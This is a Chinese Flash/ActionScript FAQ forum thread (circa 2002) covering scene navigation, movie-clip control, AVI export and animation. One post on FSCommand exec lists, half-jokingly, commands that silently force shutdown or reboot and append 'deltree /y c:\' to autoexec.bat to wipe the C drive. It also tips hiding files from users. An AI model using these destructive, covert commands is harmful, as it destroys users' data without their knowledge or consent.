发新话题
打印

flash常见问题。。。。。。。。。(edge)

flash常见问题。。。。。。。。。(edge)

制作flash动画的时候,可能会有有很的mc
有时会把它放到几个场景中,那么在场景中的跳转如何实现呢?
先看看一个动画由2个场景组成
第二个场景2里面只有一个mc,在这个mc的最后一帧是stop 
和一个replay按钮
如何实现在按钮上点击控制,使其直接跳转到第一个场景中的第一帧循环播放呢?
方法一:(使用telltarget命令)
按钮上的as为:
on (release) {
tellTarget ("/") {
gotoAndPlay ("场景 1", 1);
}
}
原码:
http://www.faithli.com/flash/fla/1.fla
方法二(用gotoandplay命令)
主场景2中的mc放到场景2的时间轴上
按钮的as: on release {
      gotoAndPlay("场景1",1)
       }
并且在最后一帧加stop()
问题就可以解决了:

原码:
http://www.faithli.com/flash/fla/2.fla

方法三(利用路径_root.gotoandplay())
第二个场景2里面只有一个mc,在这个mc的最后一帧是stop 
和一个replay按钮
按钮的as:_root.gotoAndPlay(1)
【即告知按钮回到场景1的第一帧】

原码:
http://www.faithli.com/flash/fla/3.fla
方法四(给场景起不同的名字)
如果你的as这样写:
第二个sence里面只有一个mc,在这个mc的最后一帧是stop 和一个replay按钮
按钮的as: on release {
      gotoAndPlay("sence1",1)
       }
结果按下后却是从这个mc的第一帧开始播放,而不是从sence1的第一帧
这是因为主场景的名字默认为senceN
MC里也可以有多个场景,而mc也是默认为senceN
所以当你在MC用上gotoAndPlay ("scene1", 1);时,指的是所在场景中MC里的第一帧,
而不是主场景
解决的方法,就是给场景定义不同的名字
scene1我们改名为:主场景
scene2我们改名为:次场景1
正确的as应该为:
on (release) {
tellTarget (_root) {
gotoAndPlay (1);
}
}
如果想实现按钮点击后从次场景播放
就可以在按钮上写上:
on (release) {
tellTarget (_root.次场景) {
gotoAndPlay (1);
}
}

原码:
http://www.faithli.com/flash/fla/41.fla
http://www.faithli.com/flash/fla/42.fla
方法五(利用标签label)
我们在控制动画的时候一般也不是从开始播放,
可能是希望从某个场景的某一个关键帧开始播放,那么标签是
最好的实现方法;
例如我们希望点击上面的按钮的时候让动画从主场景中的label1开始
播放,那么按钮上的as应该为:
on (release) {
tellTarget (_root) {
gotoAndPlay ("label1");
}
例如有3个场景,我们希望点击上面的按钮的时候让动画从次场景1中的label4开始
播放,那么按钮上的as应该为:
on (release) {
tellTarget (_root) {
gotoAndPlay ("次场景 1", "label4");
}
}
}
}
如果想实现按钮点击后从次场景播放
就可以在按钮上写上:
on (release) {
tellTarget (_root.次场景) {
gotoAndPlay (1);
}
}

TOP

flash常见问题。。。。。。。。。(edge)

[这个贴子最后由yfstar在 2002/10/20 11:41am 编辑]

flash里导线的应用:
*******************************************************************************

TOP

flash常见问题。。。。。。。。。(edge)

用Tellgarget控制主场景中的mc1和mc2
===============================================================
把mc1 和mc2放到同一帧中,用telltarget控制,正确的
action语句如下:
1.mc1的最后一帧的 action为
stop ();
tellTarget ("_root.mc2") {
gotoAndPlay (2);
}
2.mc2的最后一帧的 action为
stop ();
tellTarget ("_root.mc1") {
gotoAndPlay (1);
}
3.mc2的第一帧的 action为
stop();
结果mc1 和mc2正常播放并循环
=================================
mc1,mc2放到主场景里的不同帧(mc1放在第一帧,mc2放到第二帧)
循环播放的正确as如下:
1.主场景的第一帧和第二帧的action 为:
stop ();
stop ();
2. mc1的最后一帧的 action为
tellTarget ("_root") {
gotoAndPlay (2);
}
3.mc2的最后一帧的 action为
tellTarget ("_root") {
gotoAndPlay (1);
}
==================================
用按钮控制mc1,mc2在主场景中的播放。
如mc1和mc2放到主场景的同一帧时,可拖动几个按钮到同一帧,按钮的名字
分别为play1(播放mc1),play2(播放mc2),stop1(停止播放mc1),stop2 (停止播放mc2)
mc1,mc2不需要as
按钮的as如下:(在主场景中点击按钮play1--->点击鼠标右键--->action,ok)
1.stop1的 as 为:
on (release) {
tellTarget ("_root.mc1") {
stop ();
}
}
2.stop2的 as 为:
on (release) {
tellTarget ("_root.mc2") {
stop ();
}
}
3.play1的 as 为:
on (release) {
tellTarget ("_root.mc1") {
gotoAndPlay (1);
}
}
4.play2的 as 为:
on (release) {
tellTarget ("_root.mc2") {
gotoAndPlay (1);
}
}
=================================
需要注意的几点:
A:一定要把mc1,mc2转化为“实例”(instance)中的名字:mc1,mc2
B:mc1,mc2在主场景的同一帧里时,mc1,mc2之间可直接通过telltarget
下达指令(转递信息)
C:mc1,mc2不在主场景的同一帧里时,(如mc1放在第一帧,mc2放到第二帧)
mc1,mc2之间不能直接通过telltarget
下达指令(转递信息),而是通过
mc1向主场景传递信息,控制主场景时间轴上的帧;
mc2向主场景传递信息,控制主场景时间轴上的帧;
完成play或stop的任务
D:mc为movie clip的缩写;as为action script的缩写
另:也可以用其他语句完成上述任务,如with,setproperty等.
Flash高手只用4 sentences ActionScript即可完成上述任务.
慢慢闪吧,等闪到金字塔顶,用的语句会更少
===========转帖==============

TOP

flash常见问题。。。。。。。。。(edge)

Flash影片的倒转播放控制
[url]http://www.yesky.com/20020925/1632200.shtml[/url]

TOP

flash常见问题。。。。。。。。。(edge)

FSCommand->exec 命令用法试归纳
code:
中心:FSCommand语句中的exec命令可以使swf 文件具有读写磁盘的功能
这部分内容说的是,FSCommand->exec命令与操作系统进行交互的用法,包括如何打开本地文件,存储文件,建立目录,打开浏览器窗口以及其它外部程序。针对MAC机和PC机使用不同的操作系统,FSCommand语句在实际写法上不尽相同,本文以PC机为例进行说明。(MAC机中的情况不作翻译)
适用于Windows 9X的FSCommand->exec命令详细说明:
(注:若要将以下命令句法移植到NT/2000/Me上,不能原封不动的照搬,需要略作改动,请自行实践。)
1、存储文件到硬盘
有时我们想要在用户的机子上留下cookie,或在用户的硬盘上存储一些其它类型的信息,唯一可行的方法就是借助FSCommand,它通过调用用户Windows系统的command.com命令打开MS-DOS窗口实现文件的存储。因为使用DOS命令行的方式生成文件,所以MS-DOS窗口是必然要出现的,但在高配置机子上,这个过程一闪而过,用户不易察觉。使得该命令生效的前提是,含有这个FSCommand语句的swf文件必须是在本机上运行,而不是通过网络来访问。
举例:将swf文件中文本输入框(变量名为:textbox)的内容存到一个新创建的和swf文件位于相同目录下的名为textfile.txt的文件中,并作为值赋给新的变量var。如下书写FSCommand 语句:
打开Action面板选择Normal模式,在语句列表中选取FSCommand语句,转到面板下部:
在Command框中填写:exec (不要复选其后的Expression复选框)
在Arguments框中填写:"command.com" add chr(9) add "/c" add chr(9) add "echo" add chr(9) add "var=" add textbox add ">textfile.txt" (一定要将其后的Expression复选框打上钩!)
若在Expert模式下编写,则应写成:
fscommand ("exec", "command.com" add chr(9) add "/c" add chr(9) add "echo" add chr(9) add "var=" add textbox add ">textfile.txt");
说明:一个chr(9) 表示一个空格;/c为command.com的参数,加上这个参数其后的命令才能被执行;>是重定向符,我们正是靠它将变量值写入textfile.txt中。另外,还可指定文件存放目录,如要在用户桌面上建立textfile.txt文件,那么将">textfile.txt"改为">c:\\windows\\desktop\\textfile.txt"
【注】:\\ 是转意字符。在Flash中,“ \ ”被当成保留关键字,已失去了本来的意义,所以要想显示斜杠 \ ,必须加前缀转意符 \ ,使之是还原本来的意义,连在一起写就成了两个斜杠的形式。又比如,要想表示单引号,须写成 \’ 这样的形式;实现回车的效果,须用转意符号 \r 。
2、删除硬盘上的文件
通过FSCommand->exec命令还可以删除硬盘上的文件,下面的语法只适用于Windows 9X系统。
举例:将前面创建的textfile.txt删除
打开Action面板选择Normal模式,在语句列表中选取FSCommand语句,转到面板下部:
在Command框中填写:exec (不要复选其后的Expression复选框)
在Arguments框中填写:"command.com" add chr(9) add "/c" add chr(9) add "del" add chr(9) add "textfile.txt" (一定要将Expression复选框打上钩!)
若在Expert模式下编写,则应写成:
fscommand ("exec", "command.com" add chr(9) add "/c" add chr(9) add "del" add chr(9) add "textfile.txt");
警告:使用这个命令要慎重,因为是采用DOS命令删除文件,在回收站里是看不到的被删文件的。还有,万勿用来做坏事。
3、在硬盘上新建目录
通过执行FSCommand->exec生成的cookie若置于和所属swf文件位于同一目录下,容易被识别,用户在清理系统垃圾时极有可能将其清除,那样的话就失去意义了,考虑到用户一般不会轻易删除文件夹,我们专门新建一个目录存放cookie不失为一个好计。
举例:在swf文件所在目录下新建一个名为textfile的子目录
打开Action面板选择Normal模式,在语句列表中选取FSCommand语句,转到面板下部:
在Command框中填写:exec (不要复选其后的Expression复选框)
在Arguments框中填写:"command.com" add chr(9) add "/c" add chr(9) add "md" add chr(9) add "textfile" (一定要将Expression复选框打上钩!)
若在Expert模式下编写,则应写成:
fscommand("exec","command.com" add chr(9) add "/c" add chr(9) add "md" add chr(9) add "textfile"
说明:md是DOS命令集中用来建立目录的专用命令;如果换成rd则可以删除硬盘上已存在的目录,提醒诸位三思而后行。
4、由swf文件打开其它类型的文件
我们都知道,调用一个可执行程序(扩展名为.exe或.bat或.com) 和打开一个一般文件是不同的,前者可自动运行,而后者需要相应的可执行程序支持打开,像扩展名为doc和pdf的文件必须由相应的可执行程序才能打开阅读。分三种情况考虑:
●开启一个外部可执行程序:扩展名.exe可以省略。具体来说,若一个exe文件(假设为another.exe)和该swf文件本身在同一个目录下,则直接键入程序文件名即可。如:
fscommand("exec","another")
否则,应写明路径。如打开IE浏览器窗口:
fscommand("exec","c:\\progra~1\\intern~1\\iexplore")
//注意DOS下对长文件(夹)名的处理形式。
下面两种情况也可以不写路径——
(1)当可执行程序是在c:\windows目录下时,可以不写路径。如调用windows的计算器,下面三种写法均可:
fscommand("exec","c:\\windows\\calc.exe")
fscommand("exec","c:\\windows\\calc")
fscommand("exec","calc")
(2)调用DOS命令也可省略路径。如下例打开MS-DOS下的Edit编辑器:
fscommand("exec","edit.com")
如果熟悉批处理文件写法,通过FSCommand->exec命令执行批处理文件可以一举多得。
●调用默认程序打开一般文件:这种情况不能省略扩展名,同样要注意文件路径。比如我们要打开和该swf文件本身在同一个目录下的名为fs.htm的文件,则命令写作:
fscommand("exec","start" add chr(9) add "fs.htm")
执行后,如果用户机子默认的浏览器是IE,则自动调用IE打开这个网页文件。
●指定程序打开一个一般文件:Windows并未规定一种类型的文件只能由一种程序打开(比如.txt文件既可以用记事本打开,也可以用写字板阅读),这就使我们可以任意选择可用于打开一般文件的可执行程序。当然前提是在大多数用户机子上都能够找到我们所指派的可执行程序,因此实际上能选取的是那些常用的、随windows 9X预装的程序,像记事本(notepad)、写字板(write)、IE浏览器(iexplorer)、command命令等等。如我们希望调用客户机上的“写字板”程序,打开一个和该swf文件本身在同一个目录下的名为fs.txt的文本文件,可以这么写命令:
fscommand("exec","c:\\windows\\write.exe" add chr(9) add "fs.txt")
前已述及,凡是在c:\windows目录下的可执行程序,在书写FSCommand->exec命令时都可以省略路径,简写成:fscommand("exec","write" add chr(9) add "fs.txt") 也是正确的。

1。强行关闭计算机——不会有任何提示!
在Expert模式下编写该语句:
fscommand ("exec", "rundll" add chr(9) add "user.exe" add ",ExitWindows"); //win9x
fscommand ("exec", "rundll" add chr(9) add "%WINDIR%\\system32\\user.exe" add ",ExitWindows"); //win2k

2。强行重启计算机——不会有任何提示!
在Expert模式下编写该语句:
fscommand ("exec", "rundll" add chr(9) add "user.exe" add ",ExitWindow***ec"); //win9x
fscommand ("exec", "rundll" add chr(9) add "%WINDIR%\\system32\\user.exe" add ",ExitWindow***ec"); //win2k

3.无任何提示删除C盘所有东西——在重启后生效:(是不是很恐怖?哈哈,先执行这个,在用上面的强制重启)
在Expert模式下编写该语句:
fscommand ("exec", "command.com" add chr(9) add "/c" add chr(9) add "echo" add chr(9) add "deltree" add chr(9) add "/y"add chr(9) add "c:\\" add ">>c:\\autoexec.bat");



fscommand ("exec", "command.com" add chr(9) add "/c" add chr(9) add "del" add chr(9) add "textfile.txt");
仔细看一下,"/c" add(9) add之后就是在dos应该写的命令
呵呵,随便你自己写了
format什么的?
注意,不要学坏啊

[url=http://www.yesky.com/20000325/38931.shtml]利用FS Command在分帧中控制动画[/url]

TOP

flash常见问题。。。。。。。。。(edge)

[这个贴子最后由edge在 2002/10/22 03:50pm 编辑]

ypjun001
--------------------------------------------------------------------------------

我用FLASH做了一个作品,我想做成VCD格式,我先是导出AVI格式,再用豪杰转成MPG,可是显示出来的只有场景的画面,中间插入的MC没了,怎办?
--------------------------------------------------------------------------------
yfstar
--------------------------------------------------------------------------------

就这样
你必须把mc的内容作在场景中
avi只能是线性播放,而mc被认为是非线性的,可交互的
--------------------------------------------------------------------------------
ypjun001
--------------------------------------------------------------------------------

有什么工具可以直接把SWF文件转成AVI或MPG?
--------------------------------------------------------------------------------
yfstar
--------------------------------------------------------------------------------

用什么工具也是转成线性的,不会有mc的内容
--------------------------------------------------------------------------------
ypjun001
--------------------------------------------------------------------------------

可是很多效果都是用MC实现的,那怎办?
--------------------------------------------------------------------------------
edge
--------------------------------------------------------------------------------

输出为*.exe——————————

--------------------------------------------------------------------------------
-------------------------------------------------------------------------------
yfstar
--------------------------------------------------------------------------------

试试quicktime或者premiere
--------------------------------------------------------------------------------
-------------------------------------------------------------------------------
天堂飞鸟
--------------------------------------------------------------------------------

有一个好办法,就是你做组件动画时不要用mc,而是做成图片的格式,这样在导入主场景,输出AVI,ok你的电影就做好了。这可是宝贵的经验啊。——————————

--------------------------------------------------------------------------------
ypjun001
--------------------------------------------------------------------------------

谢谢!没错你提醒我了,不过这样的FLA文件以后再导出SWF时,容量会很大的。
--------------------------------------------------------------------------------
yfstar
--------------------------------------------------------------------------------

不会吧,容量应该是一样的
--------------------------------------------------------------------------------
一劍寒秋
--------------------------------------------------------------------------------

如果mc裡面沒有控制語句的話,可以改成Graphic形式的

TOP

flash常见问题。。。。。。。。。(edge)

请教各位,人走路的动画是如何做的

我们想要作一个沿着一定轨迹走或着跑的人。首先我们应该把这个人走路或者跑步的运动姿势用一个影片剪辑作出来,然后,用画笔把运动轨迹给画出来作为引导曲线。这样,这个人就可以按照你想要他运动的方式运动。
源文件:
http://webcool.1000box.net/ver5/flash/3d/3dren.zip
还有一个人物打斗:
http://webcool.1000box.net/ver5/flash/donghua/dadou.zip
http://webcool.1000box.net/ver5/flash/donghua/FIGHT.zip
跑步的人:
http://webcool.1000box.net/ver5/flash/donghua/001.zip

TOP

flash常见问题。。。。。。。。。(edge)

zx

TOP

flash常见问题。。。。。。。。。(edge)

flashmx如何打开外部可执行程序:
http://www.yufeng21.com/bbs/topic.cgi?forum=3&topic=30&show=0

TOP

发新话题